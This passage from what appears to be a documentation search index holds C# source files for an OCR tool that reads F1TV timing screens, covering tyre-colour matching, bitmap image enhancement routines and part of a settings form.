colors) { int distance = Math.Abs(color.R - inputColor.R) + Math.Abs(color.G - inputColor.G) + Math.Abs(color.B - inputColor.B); if (distance < closestDistance) { closestColor = color; closestDistance = distance; } } //We cant use a switch as the colors cant be constants ... if (closestColor == SOFT_TYRE_COLOR) type = Tyre.Type.Soft; if (closestColor == MEDIUM_TYRE_COLOR) type = Tyre.Type.Medium; if (closestColor == HARD_TYRE_COLOR) type = Tyre.Type.Hard; if (closestColor == INTER_TYRE_COLOR) type = Tyre.Type.Inter; if (closestColor == WET_TYRE_COLOR) type = Tyre.Type.Wet; if (closestColor == EMPTY_COLOR) return Tyre.Type.Undefined; return type; } } }","title":"DriverTyresWindow.cs"},{"location":"Code/OcrImage.html","text":"OcrImage.cs \ufeff/// Author : Maxime Rohmer /// Date : 08/05/2023 /// File : OcrImage.cs /// Brief : Class containing all the methods used to enhance images for OCR /// Version : 0.1 using System; using System.Collections.Generic; using System.Threading.Tasks; using System.Drawing; using System.Drawing.Drawing2D; using System.Drawing.Imaging; namespace Test_Merge { public class OcrImage { //this is a hardcoded value based on the colors of the F1TV data channel background you can change it if sometime in the future the color changes //Any color that has any of its R,G or B channel higher than the treshold will be considered as being usefull information public static Color F1TV_BACKGROUND_TRESHOLD = Color.FromArgb(0x50, 0x50, 0x50); Bitmap InputBitmap; public enum WindowType { LapTime, Text, Sector, Gap, Tyre, } /// /// Create a new Ocr image to help enhance the given bitmap for OCR /// /// The image you want to enhance public OcrImage(Bitmap inputBitmap) { InputBitmap = inputBitmap; } /// /// Enhances the image depending on wich type of window the image comes from /// /// The type of the window. Depending on it different enhancing features will be applied /// The enhanced Bitmap public Bitmap Enhance(WindowType type = WindowType.Text) { Bitmap outputBitmap = (Bitmap)InputBitmap.Clone(); switch (type) { case WindowType.LapTime: outputBitmap = Tresholding(outputBitmap, 185); outputBitmap = Resize(outputBitmap, 2); outputBitmap = Dilatation(outputBitmap, 1); outputBitmap = Erode(outputBitmap, 1); break; case WindowType.Text: outputBitmap = InvertColors(outputBitmap); outputBitmap = Tresholding(outputBitmap, 165); outputBitmap = Resize(outputBitmap, 2); outputBitmap = Dilatation(outputBitmap, 1); break; case WindowType.Tyre: outputBitmap = RemoveUseless(outputBitmap); outputBitmap = Resize(outputBitmap, 4); outputBitmap = Dilatation(outputBitmap, 1); break; default: outputBitmap = Tresholding(outputBitmap, 165); outputBitmap = Resize(outputBitmap, 4); outputBitmap = Erode(outputBitmap, 1); break; } return outputBitmap; } /// /// Method that convert a colored RGB bitmap into a GrayScale image /// /// The Bitmap you want to convert /// The bitmap in grayscale public static Bitmap Grayscale(Bitmap inputBitmap) { Rectangle rect = new Rectangle(0, 0, inputBitmap.Width, inputBitmap.Height); BitmapData bmpData = inputBitmap.LockBits(rect, ImageLockMode.ReadWrite, inputBitmap.PixelFormat); int bytesPerPixel = Bitmap.GetPixelFormatSize(inputBitmap.PixelFormat) / 8; unsafe { byte* ptr = (byte*)bmpData.Scan0.ToPointer(); for (int y = 0; y < inputBitmap.Height; y++) { byte* currentLine = ptr + (y * bmpData.Stride); for (int x = 0; x < inputBitmap.Width; x++) { byte* pixel = currentLine + (x * bytesPerPixel); byte blue = pixel[0]; byte green = pixel[1]; byte red = pixel[2]; //Those a specific values to correct the weights so its more pleasing to the human eye int gray = (int)(red * 0.3 + green * 0.59 + blue * 0.11); pixel[0] = pixel[1] = pixel[2] = (byte)gray; } } } inputBitmap.UnlockBits(bmpData); return inputBitmap; } /// /// Method that binaries the input image up to a certain treshold given /// /// the bitmap you want to convert to binary colors /// The floor at wich the color is considered as white or black /// The binarised bitmap public static Bitmap Tresholding(Bitmap inputBitmap, int threshold) { Rectangle rect = new Rectangle(0, 0, inputBitmap.Width, inputBitmap.Height); BitmapData bmpData = inputBitmap.LockBits(rect, ImageLockMode.ReadWrite, inputBitmap.PixelFormat); int bytesPerPixel = Bitmap.GetPixelFormatSize(inputBitmap.PixelFormat) / 8; unsafe { byte* ptr = (byte*)bmpData.Scan0.ToPointer(); int bmpHeight = inputBitmap.Height; int bmpWidth = inputBitmap.Width; Parallel.For(0, bmpHeight, y => { byte* currentLine = ptr + (y * bmpData.Stride); for (int x = 0; x < bmpWidth; x++) { byte* pixel = currentLine + (x * bytesPerPixel); byte blue = pixel[0]; byte green = pixel[1]; byte red = pixel[2]; //Those a specific values to correct the weights so its more pleasing to the human eye int gray = (int)(red * 0.3 + green * 0.59 + blue * 0.11); int value = gray < threshold ? 0 : 255; pixel[0] = pixel[1] = pixel[2] = (byte)value; } }); } inputBitmap.UnlockBits(bmpData); return inputBitmap; } /// /// Method that removes the pixels that are flagged as background /// /// The bitmap you want to remove the background from /// The Bitmap without the background public static Bitmap RemoveBG(Bitmap inputBitmap) { Rectangle rect = new Rectangle(0, 0, inputBitmap.Width, inputBitmap.Height); BitmapData bmpData = inputBitmap.LockBits(rect, ImageLockMode.ReadWrite, inputBitmap.PixelFormat); int bytesPerPixel = Bitmap.GetPixelFormatSize(inputBitmap.PixelFormat) / 8; unsafe { byte* ptr = (byte*)bmpData.Scan0.ToPointer(); for (int y = 0; y < inputBitmap.Height; y++) { byte* currentLine = ptr + (y * bmpData.Stride); for (int x = 0; x < inputBitmap.Width; x++) { byte* pixel = currentLine + (x * bytesPerPixel); int B = pixel[0]; int G = pixel[1]; int R = pixel[2]; if (R <= F1TV_BACKGROUND_TRESHOLD.R && G <= F1TV_BACKGROUND_TRESHOLD.G && B <= F1TV_BACKGROUND_TRESHOLD.B) pixel[0] = pixel[1] = pixel[2] = 0; } } } inputBitmap.UnlockBits(bmpData); return inputBitmap; } /// /// Method that removes all the useless things from the image and returns hopefully only the numbers /// /// The bitmap you want to remove useless things from (Expects a cropped part of the TyreWindow) /// The bitmap with (hopefully) only the digits public unsafe static Bitmap RemoveUseless(Bitmap inputBitmap) { //Note you can use something else than a cropped tyre window but I would recommend checking the code first to see if it fits your intended use Rectangle rect = new Rectangle(0, 0, inputBitmap.Width, inputBitmap.Height); BitmapData bmpData = inputBitmap.LockBits(rect, ImageLockMode.ReadWrite, inputBitmap.PixelFormat); int bytesPerPixel = Bitmap.GetPixelFormatSize(inputBitmap.PixelFormat) / 8; byte* ptr = (byte*)bmpData.Scan0.ToPointer(); for (int y = 0; y < inputBitmap.Height; y++) { byte* currentLine = ptr + (y * bmpData.Stride); List pixelsToRemove = new List(); bool fromBorder = true; for (int x = 0; x < inputBitmap.Width; x++) { byte* pixel = currentLine + (x * bytesPerPixel); int B = pixel[0]; int G = pixel[1]; int R = pixel[2]; if (fromBorder && B < F1TV_BACKGROUND_TRESHOLD.B && G < F1TV_BACKGROUND_TRESHOLD.G && R < F1TV_BACKGROUND_TRESHOLD.R) { pixelsToRemove.Add(x); } else { if (fromBorder) { fromBorder = false; pixelsToRemove.Add(x); } } } fromBorder = true; for (int x = inputBitmap.Width - 1; x > 0; x--) { byte* pixel = currentLine + (x * bytesPerPixel); int B = pixel[0]; int G = pixel[1]; int R = pixel[2]; if (fromBorder && B < F1TV_BACKGROUND_TRESHOLD.B && G < F1TV_BACKGROUND_TRESHOLD.G && R < F1TV_BACKGROUND_TRESHOLD.R) { pixelsToRemove.Add(x); } else { if (fromBorder) { fromBorder = false; pixelsToRemove.Add(x); } } } foreach (int pxPos in pixelsToRemove) { byte* pixel = currentLine + (pxPos * bytesPerPixel); pixel[0] = 0xFF; pixel[1] = 0xFF; pixel[2] = 0xFF; } } //Removing the color parts for (int y = 0; y < inputBitmap.Height; y++) { byte* currentLine = ptr + (y * bmpData.Stride); for (int x = 0; x < inputBitmap.Width; x++) { byte* pixel = currentLine + (x * bytesPerPixel); int B = pixel[0]; int G = pixel[1]; int R = pixel[2]; if (R >= F1TV_BACKGROUND_TRESHOLD.R + 15 || G >= F1TV_BACKGROUND_TRESHOLD.G + 15 || B >= F1TV_BACKGROUND_TRESHOLD.B + 15) { pixel[0] = 0xFF; pixel[1] = 0xFF; pixel[2] = 0xFF; } } } inputBitmap.UnlockBits(bmpData); return inputBitmap; } /// /// Recovers the average colors from the Image. NOTE : It wont take in account colors that are lower than the background /// /// The bitmap you want to get the average color from /// The average color of the bitmap public static Color GetAvgColorFromBitmap(Bitmap inputBitmap) { Rectangle rect = new Rectangle(0, 0, inputBitmap.Width, inputBitmap.Height); BitmapData bmpData = inputBitmap.LockBits(rect, ImageLockMode.ReadWrite, inputBitmap.PixelFormat); int bytesPerPixel = Bitmap.GetPixelFormatSize(inputBitmap.PixelFormat) / 8; int totR = 0; int totG = 0; int totB = 0; int totPixels = 1; unsafe { byte* ptr = (byte*)bmpData.Scan0.ToPointer(); int bmpHeight = inputBitmap.Height; int bmpWidth = inputBitmap.Width; Parallel.For(0, bmpHeight, y => { byte* currentLine = ptr + (y * bmpData.Stride); for (int x = 0; x < bmpWidth; x++) { byte* pixel = currentLine + (x * bytesPerPixel); int B = pixel[0]; int G = pixel[1]; int R = pixel[2]; if (R >= F1TV_BACKGROUND_TRESHOLD.R || G >= F1TV_BACKGROUND_TRESHOLD.G || B >= F1TV_BACKGROUND_TRESHOLD.B) { totPixels++; totB += pixel[0]; totG += pixel[1]; totR += pixel[2]; } } }); } inputBitmap.UnlockBits(bmpData); return Color.FromArgb(255, Convert.ToInt32((float)totR / (float)totPixels), Convert.ToInt32((float)totG / (float)totPixels), Convert.ToInt32((float)totB / (float)totPixels)); } /// /// This method simply inverts all the colors in a Bitmap /// /// the bitmap you want to invert the colors from /// The bitmap with inverted colors public static Bitmap InvertColors(Bitmap inputBitmap) { Rectangle rect = new Rectangle(0, 0, inputBitmap.Width, inputBitmap.Height); BitmapData bmpData = inputBitmap.LockBits(rect, ImageLockMode.ReadWrite, inputBitmap.PixelFormat); int bytesPerPixel = Bitmap.GetPixelFormatSize(inputBitmap.PixelFormat) / 8; unsafe { byte* ptr = (byte*)bmpData.Scan0.ToPointer(); for (int y = 0; y < inputBitmap.Height; y++) { byte* currentLine = ptr + (y * bmpData.Stride); for (int x = 0; x < inputBitmap.Width; x++) { byte* pixel = currentLine + (x * bytesPerPixel); pixel[0] = (byte)(255 - pixel[0]); pixel[1] = (byte)(255 - pixel[1]); pixel[2] = (byte)(255 - pixel[2]); } } } inputBitmap.UnlockBits(bmpData); return inputBitmap; } /// /// Methods that applies Bicubic interpolation to increase the size and resolution of an image /// /// The bitmap you want to resize /// The factor of resizing you want to use. I recommend using even numbers /// The bitmap witht the new size public static Bitmap Resize(Bitmap inputBitmap, int resizeFactor) { var resultBitmap = new Bitmap(inputBitmap.Width * resizeFactor, inputBitmap.Height * resizeFactor); using (var graphics = Graphics.FromImage(resultBitmap)) { graphics.InterpolationMode = InterpolationMode.HighQualityBicubic; graphics.DrawImage(inputBitmap, new Rectangle(0, 0, resultBitmap.Width, resultBitmap.Height)); } return resultBitmap; } /// /// method that Highlights the countours of a Bitmap /// /// The bitmap you want to highlight the countours of /// The bitmap with countours highlighted public static Bitmap HighlightContours(Bitmap inputBitmap) { Bitmap outputBitmap = new Bitmap(inputBitmap.Width, inputBitmap.Height); Bitmap grayscale = Grayscale(inputBitmap); Bitmap thresholded = Tresholding(grayscale, 128); Bitmap dilated = Dilatation(thresholded, 3); Bitmap eroded = Erode(dilated, 3); for (int y = 0; y < inputBitmap.Height; y++) { for (int x = 0; x < inputBitmap.Width; x++) { Color pixel = inputBitmap.GetPixel(x, y); Color dilatedPixel = dilated.GetPixel(x, y); Color erodedPixel = eroded.GetPixel(x, y); int gray = (int)(pixel.R * 0.3 + pixel.G * 0.59 + pixel.B * 0.11); int threshold = dilatedPixel.R; if (gray > threshold) { outputBitmap.SetPixel(x, y, Color.FromArgb(255, 255, 255)); } else if (gray <= threshold && erodedPixel.R == 0) { outputBitmap.SetPixel(x, y, Color.FromArgb(255, 0, 0)); } else { outputBitmap.SetPixel(x, y, Color.FromArgb(0, 0, 0)); } } } return outputBitmap; } /// /// Method that that erodes the morphology of a bitmap /// /// The bitmap you want to erode /// The amount of Erosion you want (be carefull its expensive on ressources) /// The Bitmap with the eroded contents public static Bitmap Erode(Bitmap inputBitmap, int kernelSize) { Bitmap outputBitmap = new Bitmap(inputBitmap.Width, inputBitmap.Height); int[,] kernel = new int[kernelSize, kernelSize]; for (int i = 0; i < kernelSize; i++) { for (int j = 0; j < kernelSize; j++) { kernel[i, j] = 1; } } for (int y = kernelSize / 2; y < inputBitmap.Height - kernelSize / 2; y++) { for (int x = kernelSize / 2; x < inputBitmap.Width - kernelSize / 2; x++) { bool flag = true; for (int i = -kernelSize / 2; i <= kernelSize / 2; i++) { for (int j = -kernelSize / 2; j <= kernelSize / 2; j++) { Color pixel = inputBitmap.GetPixel(x + i, y + j); int gray = (int)(pixel.R * 0.3 + pixel.G * 0.59 + pixel.B * 0.11); if (gray >= 128 && kernel[i + kernelSize / 2, j + kernelSize / 2] == 1) { flag = false; break; } } if (!flag) { break; } } if (flag) { outputBitmap.SetPixel(x, y, Color.FromArgb(255, 255, 255)); } else { outputBitmap.SetPixel(x, y, Color.FromArgb(0, 0, 0)); } } } return outputBitmap; } /// /// Method that that use dilatation of the morphology of a bitmap /// /// The bitmap you want to use dilatation on /// The amount of dilatation you want (be carefull its expensive on ressources) /// The Bitmap after Dilatation public static Bitmap Dilatation(Bitmap inputBitmap, int kernelSize) { Bitmap outputBitmap = new Bitmap(inputBitmap.Width, inputBitmap.Height); int[,] kernel = new int[kernelSize, kernelSize]; for (int i = 0; i < kernelSize; i++) { for (int j = 0; j < kernelSize; j++) { kernel[i, j] = 1; } } for (int y = kernelSize / 2; y < inputBitmap.Height - kernelSize / 2; y++) { for (int x = kernelSize / 2; x < inputBitmap.Width - kernelSize / 2; x++) { bool flag = false; for (int i = -kernelSize / 2; i <= kernelSize / 2; i++) { for (int j = -kernelSize / 2; j <= kernelSize / 2; j++) { Color pixel = inputBitmap.GetPixel(x + i, y + j); int gray = (int)(pixel.R * 0.3 + pixel.G * 0.59 + pixel.B * 0.11); if (gray < 128 && kernel[i + kernelSize / 2, j + kernelSize / 2] == 1) { flag = true; break; } } if (flag) { break; } } if (flag) { outputBitmap.SetPixel(x, y, Color.FromArgb(0, 0, 0)); } else { outputBitmap.SetPixel(x, y, Color.FromArgb(255, 255, 255)); } } } return outputBitmap; } } }","title":"OcrImage.cs"},{"location":"Code/OcrImage.html#ocrimagecs","text":"\ufeff/// Author : Maxime Rohmer /// Date : 08/05/2023 /// File : OcrImage.cs /// Brief : Class containing all the methods used to enhance images for OCR /// Version : 0.1 using System; using System.Collections.Generic; using System.Threading.Tasks; using System.Drawing; using System.Drawing.Drawing2D; using System.Drawing.Imaging; namespace Test_Merge { public class OcrImage { //this is a hardcoded value based on the colors of the F1TV data channel background you can change it if sometime in the future the color changes //Any color that has any of its R,G or B channel higher than the treshold will be considered as being usefull information public static Color F1TV_BACKGROUND_TRESHOLD = Color.FromArgb(0x50, 0x50, 0x50); Bitmap InputBitmap; public enum WindowType { LapTime, Text, Sector, Gap, Tyre, } /// /// Create a new Ocr image to help enhance the given bitmap for OCR /// /// The image you want to enhance public OcrImage(Bitmap inputBitmap) { InputBitmap = inputBitmap; } /// /// Enhances the image depending on wich type of window the image comes from /// /// The type of the window. Depending on it different enhancing features will be applied /// The enhanced Bitmap public Bitmap Enhance(WindowType type = WindowType.Text) { Bitmap outputBitmap = (Bitmap)InputBitmap.Clone(); switch (type) { case WindowType.LapTime: outputBitmap = Tresholding(outputBitmap, 185); outputBitmap = Resize(outputBitmap, 2); outputBitmap = Dilatation(outputBitmap, 1); outputBitmap = Erode(outputBitmap, 1); break; case WindowType.Text: outputBitmap = InvertColors(outputBitmap); outputBitmap = Tresholding(outputBitmap, 165); outputBitmap = Resize(outputBitmap, 2); outputBitmap = Dilatation(outputBitmap, 1); break; case WindowType.Tyre: outputBitmap = RemoveUseless(outputBitmap); outputBitmap = Resize(outputBitmap, 4); outputBitmap = Dilatation(outputBitmap, 1); break; default: outputBitmap = Tresholding(outputBitmap, 165); outputBitmap = Resize(outputBitmap, 4); outputBitmap = Erode(outputBitmap, 1); break; } return outputBitmap; } /// /// Method that convert a colored RGB bitmap into a GrayScale image /// /// The Bitmap you want to convert /// The bitmap in grayscale public static Bitmap Grayscale(Bitmap inputBitmap) { Rectangle rect = new Rectangle(0, 0, inputBitmap.Width, inputBitmap.Height); BitmapData bmpData = inputBitmap.LockBits(rect, ImageLockMode.ReadWrite, inputBitmap.PixelFormat); int bytesPerPixel = Bitmap.GetPixelFormatSize(inputBitmap.PixelFormat) / 8; unsafe { byte* ptr = (byte*)bmpData.Scan0.ToPointer(); for (int y = 0; y < inputBitmap.Height; y++) { byte* currentLine = ptr + (y * bmpData.Stride); for (int x = 0; x < inputBitmap.Width; x++) { byte* pixel = currentLine + (x * bytesPerPixel); byte blue = pixel[0]; byte green = pixel[1]; byte red = pixel[2]; //Those a specific values to correct the weights so its more pleasing to the human eye int gray = (int)(red * 0.3 + green * 0.59 + blue * 0.11); pixel[0] = pixel[1] = pixel[2] = (byte)gray; } } } inputBitmap.UnlockBits(bmpData); return inputBitmap; } /// /// Method that binaries the input image up to a certain treshold given /// /// the bitmap you want to convert to binary colors /// The floor at wich the color is considered as white or black /// The binarised bitmap public static Bitmap Tresholding(Bitmap inputBitmap, int threshold) { Rectangle rect = new Rectangle(0, 0, inputBitmap.Width, inputBitmap.Height); BitmapData bmpData = inputBitmap.LockBits(rect, ImageLockMode.ReadWrite, inputBitmap.PixelFormat); int bytesPerPixel = Bitmap.GetPixelFormatSize(inputBitmap.PixelFormat) / 8; unsafe { byte* ptr = (byte*)bmpData.Scan0.ToPointer(); int bmpHeight = inputBitmap.Height; int bmpWidth = inputBitmap.Width; Parallel.For(0, bmpHeight, y => { byte* currentLine = ptr + (y * bmpData.Stride); for (int x = 0; x < bmpWidth; x++) { byte* pixel = currentLine + (x * bytesPerPixel); byte blue = pixel[0]; byte green = pixel[1]; byte red = pixel[2]; //Those a specific values to correct the weights so its more pleasing to the human eye int gray = (int)(red * 0.3 + green * 0.59 + blue * 0.11); int value = gray < threshold ? 0 : 255; pixel[0] = pixel[1] = pixel[2] = (byte)value; } }); } inputBitmap.UnlockBits(bmpData); return inputBitmap; } /// /// Method that removes the pixels that are flagged as background /// /// The bitmap you want to remove the background from /// The Bitmap without the background public static Bitmap RemoveBG(Bitmap inputBitmap) { Rectangle rect = new Rectangle(0, 0, inputBitmap.Width, inputBitmap.Height); BitmapData bmpData = inputBitmap.LockBits(rect, ImageLockMode.ReadWrite, inputBitmap.PixelFormat); int bytesPerPixel = Bitmap.GetPixelFormatSize(inputBitmap.PixelFormat) / 8; unsafe { byte* ptr = (byte*)bmpData.Scan0.ToPointer(); for (int y = 0; y < inputBitmap.Height; y++) { byte* currentLine = ptr + (y * bmpData.Stride); for (int x = 0; x < inputBitmap.Width; x++) { byte* pixel = currentLine + (x * bytesPerPixel); int B = pixel[0]; int G = pixel[1]; int R = pixel[2]; if (R <= F1TV_BACKGROUND_TRESHOLD.R && G <= F1TV_BACKGROUND_TRESHOLD.G && B <= F1TV_BACKGROUND_TRESHOLD.B) pixel[0] = pixel[1] = pixel[2] = 0; } } } inputBitmap.UnlockBits(bmpData); return inputBitmap; } /// /// Method that removes all the useless things from the image and returns hopefully only the numbers /// /// The bitmap you want to remove useless things from (Expects a cropped part of the TyreWindow) /// The bitmap with (hopefully) only the digits public unsafe static Bitmap RemoveUseless(Bitmap inputBitmap) { //Note you can use something else than a cropped tyre window but I would recommend checking the code first to see if it fits your intended use Rectangle rect = new Rectangle(0, 0, inputBitmap.Width, inputBitmap.Height); BitmapData bmpData = inputBitmap.LockBits(rect, ImageLockMode.ReadWrite, inputBitmap.PixelFormat); int bytesPerPixel = Bitmap.GetPixelFormatSize(inputBitmap.PixelFormat) / 8; byte* ptr = (byte*)bmpData.Scan0.ToPointer(); for (int y = 0; y < inputBitmap.Height; y++) { byte* currentLine = ptr + (y * bmpData.Stride); List pixelsToRemove = new List(); bool fromBorder = true; for (int x = 0; x < inputBitmap.Width; x++) { byte* pixel = currentLine + (x * bytesPerPixel); int B = pixel[0]; int G = pixel[1]; int R = pixel[2]; if (fromBorder && B < F1TV_BACKGROUND_TRESHOLD.B && G < F1TV_BACKGROUND_TRESHOLD.G && R < F1TV_BACKGROUND_TRESHOLD.R) { pixelsToRemove.Add(x); } else { if (fromBorder) { fromBorder = false; pixelsToRemove.Add(x); } } } fromBorder = true; for (int x = inputBitmap.Width - 1; x > 0; x--) { byte* pixel = currentLine + (x * bytesPerPixel); int B = pixel[0]; int G = pixel[1]; int R = pixel[2]; if (fromBorder && B < F1TV_BACKGROUND_TRESHOLD.B && G < F1TV_BACKGROUND_TRESHOLD.G && R < F1TV_BACKGROUND_TRESHOLD.R) { pixelsToRemove.Add(x); } else { if (fromBorder) { fromBorder = false; pixelsToRemove.Add(x); } } } foreach (int pxPos in pixelsToRemove) { byte* pixel = currentLine + (pxPos * bytesPerPixel); pixel[0] = 0xFF; pixel[1] = 0xFF; pixel[2] = 0xFF; } } //Removing the color parts for (int y = 0; y < inputBitmap.Height; y++) { byte* currentLine = ptr + (y * bmpData.Stride); for (int x = 0; x < inputBitmap.Width; x++) { byte* pixel = currentLine + (x * bytesPerPixel); int B = pixel[0]; int G = pixel[1]; int R = pixel[2]; if (R >= F1TV_BACKGROUND_TRESHOLD.R + 15 || G >= F1TV_BACKGROUND_TRESHOLD.G + 15 || B >= F1TV_BACKGROUND_TRESHOLD.B + 15) { pixel[0] = 0xFF; pixel[1] = 0xFF; pixel[2] = 0xFF; } } } inputBitmap.UnlockBits(bmpData); return inputBitmap; } /// /// Recovers the average colors from the Image. NOTE : It wont take in account colors that are lower than the background /// /// The bitmap you want to get the average color from /// The average color of the bitmap public static Color GetAvgColorFromBitmap(Bitmap inputBitmap) { Rectangle rect = new Rectangle(0, 0, inputBitmap.Width, inputBitmap.Height); BitmapData bmpData = inputBitmap.LockBits(rect, ImageLockMode.ReadWrite, inputBitmap.PixelFormat); int bytesPerPixel = Bitmap.GetPixelFormatSize(inputBitmap.PixelFormat) / 8; int totR = 0; int totG = 0; int totB = 0; int totPixels = 1; unsafe { byte* ptr = (byte*)bmpData.Scan0.ToPointer(); int bmpHeight = inputBitmap.Height; int bmpWidth = inputBitmap.Width; Parallel.For(0, bmpHeight, y => { byte* currentLine = ptr + (y * bmpData.Stride); for (int x = 0; x < bmpWidth; x++) { byte* pixel = currentLine + (x * bytesPerPixel); int B = pixel[0]; int G = pixel[1]; int R = pixel[2]; if (R >= F1TV_BACKGROUND_TRESHOLD.R || G >= F1TV_BACKGROUND_TRESHOLD.G || B >= F1TV_BACKGROUND_TRESHOLD.B) { totPixels++; totB += pixel[0]; totG += pixel[1]; totR += pixel[2]; } } }); } inputBitmap.UnlockBits(bmpData); return Color.FromArgb(255, Convert.ToInt32((float)totR / (float)totPixels), Convert.ToInt32((float)totG / (float)totPixels), Convert.ToInt32((float)totB / (float)totPixels)); } /// /// This method simply inverts all the colors in a Bitmap /// /// the bitmap you want to invert the colors from /// The bitmap with inverted colors public static Bitmap InvertColors(Bitmap inputBitmap) { Rectangle rect = new Rectangle(0, 0, inputBitmap.Width, inputBitmap.Height); BitmapData bmpData = inputBitmap.LockBits(rect, ImageLockMode.ReadWrite, inputBitmap.PixelFormat); int bytesPerPixel = Bitmap.GetPixelFormatSize(inputBitmap.PixelFormat) / 8; unsafe { byte* ptr = (byte*)bmpData.Scan0.ToPointer(); for (int y = 0; y < inputBitmap.Height; y++) { byte* currentLine = ptr + (y * bmpData.Stride); for (int x = 0; x < inputBitmap.Width; x++) { byte* pixel = currentLine + (x * bytesPerPixel); pixel[0] = (byte)(255 - pixel[0]); pixel[1] = (byte)(255 - pixel[1]); pixel[2] = (byte)(255 - pixel[2]); } } } inputBitmap.UnlockBits(bmpData); return inputBitmap; } /// /// Methods that applies Bicubic interpolation to increase the size and resolution of an image /// /// The bitmap you want to resize /// The factor of resizing you want to use. I recommend using even numbers /// The bitmap witht the new size public static Bitmap Resize(Bitmap inputBitmap, int resizeFactor) { var resultBitmap = new Bitmap(inputBitmap.Width * resizeFactor, inputBitmap.Height * resizeFactor); using (var graphics = Graphics.FromImage(resultBitmap)) { graphics.InterpolationMode = InterpolationMode.HighQualityBicubic; graphics.DrawImage(inputBitmap, new Rectangle(0, 0, resultBitmap.Width, resultBitmap.Height)); } return resultBitmap; } /// /// method that Highlights the countours of a Bitmap /// /// The bitmap you want to highlight the countours of /// The bitmap with countours highlighted public static Bitmap HighlightContours(Bitmap inputBitmap) { Bitmap outputBitmap = new Bitmap(inputBitmap.Width, inputBitmap.Height); Bitmap grayscale = Grayscale(inputBitmap); Bitmap thresholded = Tresholding(grayscale, 128); Bitmap dilated = Dilatation(thresholded, 3); Bitmap eroded = Erode(dilated, 3); for (int y = 0; y < inputBitmap.Height; y++) { for (int x = 0; x < inputBitmap.Width; x++) { Color pixel = inputBitmap.GetPixel(x, y); Color dilatedPixel = dilated.GetPixel(x, y); Color erodedPixel = eroded.GetPixel(x, y); int gray = (int)(pixel.R * 0.3 + pixel.G * 0.59 + pixel.B * 0.11); int threshold = dilatedPixel.R; if (gray > threshold) { outputBitmap.SetPixel(x, y, Color.FromArgb(255, 255, 255)); } else if (gray <= threshold && erodedPixel.R == 0) { outputBitmap.SetPixel(x, y, Color.FromArgb(255, 0, 0)); } else { outputBitmap.SetPixel(x, y, Color.FromArgb(0, 0, 0)); } } } return outputBitmap; } /// /// Method that that erodes the morphology of a bitmap /// /// The bitmap you want to erode /// The amount of Erosion you want (be carefull its expensive on ressources) /// The Bitmap with the eroded contents public static Bitmap Erode(Bitmap inputBitmap, int kernelSize) { Bitmap outputBitmap = new Bitmap(inputBitmap.Width, inputBitmap.Height); int[,] kernel = new int[kernelSize, kernelSize]; for (int i = 0; i < kernelSize; i++) { for (int j = 0; j < kernelSize; j++) { kernel[i, j] = 1; } } for (int y = kernelSize / 2; y < inputBitmap.Height - kernelSize / 2; y++) { for (int x = kernelSize / 2; x < inputBitmap.Width - kernelSize / 2; x++) { bool flag = true; for (int i = -kernelSize / 2; i <= kernelSize / 2; i++) { for (int j = -kernelSize / 2; j <= kernelSize / 2; j++) { Color pixel = inputBitmap.GetPixel(x + i, y + j); int gray = (int)(pixel.R * 0.3 + pixel.G * 0.59 + pixel.B * 0.11); if (gray >= 128 && kernel[i + kernelSize / 2, j + kernelSize / 2] == 1) { flag = false; break; } } if (!flag) { break; } } if (flag) { outputBitmap.SetPixel(x, y, Color.FromArgb(255, 255, 255)); } else { outputBitmap.SetPixel(x, y, Color.FromArgb(0, 0, 0)); } } } return outputBitmap; } /// /// Method that that use dilatation of the morphology of a bitmap /// /// The bitmap you want to use dilatation on /// The amount of dilatation you want (be carefull its expensive on ressources) /// The Bitmap after Dilatation public static Bitmap Dilatation(Bitmap inputBitmap, int kernelSize) { Bitmap outputBitmap = new Bitmap(inputBitmap.Width, inputBitmap.Height); int[,] kernel = new int[kernelSize, kernelSize]; for (int i = 0; i < kernelSize; i++) { for (int j = 0; j < kernelSize; j++) { kernel[i, j] = 1; } } for (int y = kernelSize / 2; y < inputBitmap.Height - kernelSize / 2; y++) { for (int x = kernelSize / 2; x < inputBitmap.Width - kernelSize / 2; x++) { bool flag = false; for (int i = -kernelSize / 2; i <= kernelSize / 2; i++) { for (int j = -kernelSize / 2; j <= kernelSize / 2; j++) { Color pixel = inputBitmap.GetPixel(x + i, y + j); int gray = (int)(pixel.R * 0.3 + pixel.G * 0.59 + pixel.B * 0.11); if (gray < 128 && kernel[i + kernelSize / 2, j + kernelSize / 2] == 1) { flag = true; break; } } if (flag) { break; } } if (flag) { outputBitmap.SetPixel(x, y, Color.FromArgb(0, 0, 0)); } else { outputBitmap.SetPixel(x, y, Color.FromArgb(255, 255, 255)); } } } return outputBitmap; } } }","title":"OcrImage.cs"},{"location":"Code/Settings.html","text":"Settings.cs \ufeffusing System; using System.Collections.Generic; using System.ComponentModel; using System.Data; using System.Drawing; using System.Linq; using System.Text; using System.Threading.Tasks; using System.Windows.Forms; using System.IO; namespace Test_Merge { public partial class Settings : Form { private string _grandPrixUrl = \"\"; private string _grandPrixName = \"\"; private int _grandPrixYear = 2000; private List _driverList = new List(); private F1TVEmulator Emulator = null; private ConfigurationTool Config = null; private bool CreatingZone = false; private Point ZoneP1; private Point ZoneP2; private bool CreatingWindow = false; private Point WindowP1; private Point WindowP2; List WindowsToAdd = new List(); public string GrandPrixUrl { get => _grandPrixUrl; private set => _grandPrixUrl = value; } public string GrandPrixName { get => _grandPrixName; private set => _grandPrixName = value; } public int GrandPrixYear { get => _grandPrixYear; private set => _grandPrixYear = value; } public List DriverList { get => _driverList; private set => _driverList = value; } public Settings() { InitializeComponent(); Load(); } private void Load() { RefreshUI(); } private void RefreshUI() { lsbDrivers.DataSource = null; lsbDrivers.DataSource = DriverList; if (Directory.Exists(ConfigurationTool.CONFIGS_FOLDER_NAME)) { lsbPresets.DataSource = null; lsbPresets.DataSource = Directory.GetFiles(ConfigurationTool.CONFIGS_FOLDER_NAME); } if (CreatingZone) { if (ZoneP1 == new Point(-1, -1)) { lblZonePointsRemaning.Text = \"2 points Remaining\"; } else { lblZonePointsRemaning.Text = \"1 point Remaining\"; } } else { lblZonePointsRemaning.Text = \"\"; } if (CreatingWindow) { if (WindowP1 == new Point(-1, -1)) { lblWindowPointsRemaining.Text = \"2 points Remaining\"; } else { lblWindowPointsRemaining.Text = \"1 point Remaining\"; } lblWindowPointsRemaining.Text = ConfigurationTool.NUMBER_OF_ZONES - WindowsToAdd.Count() + \" Windows remaining\"; } else { lblWindowPointsRemaining.Text = \"\"; lblWindowsRemaining.Text = \"\"; } if (Config != null) { pbxMain.Image = Config.MainZone.Draw(); if(Config.MainZone.Zones.Count > 0) 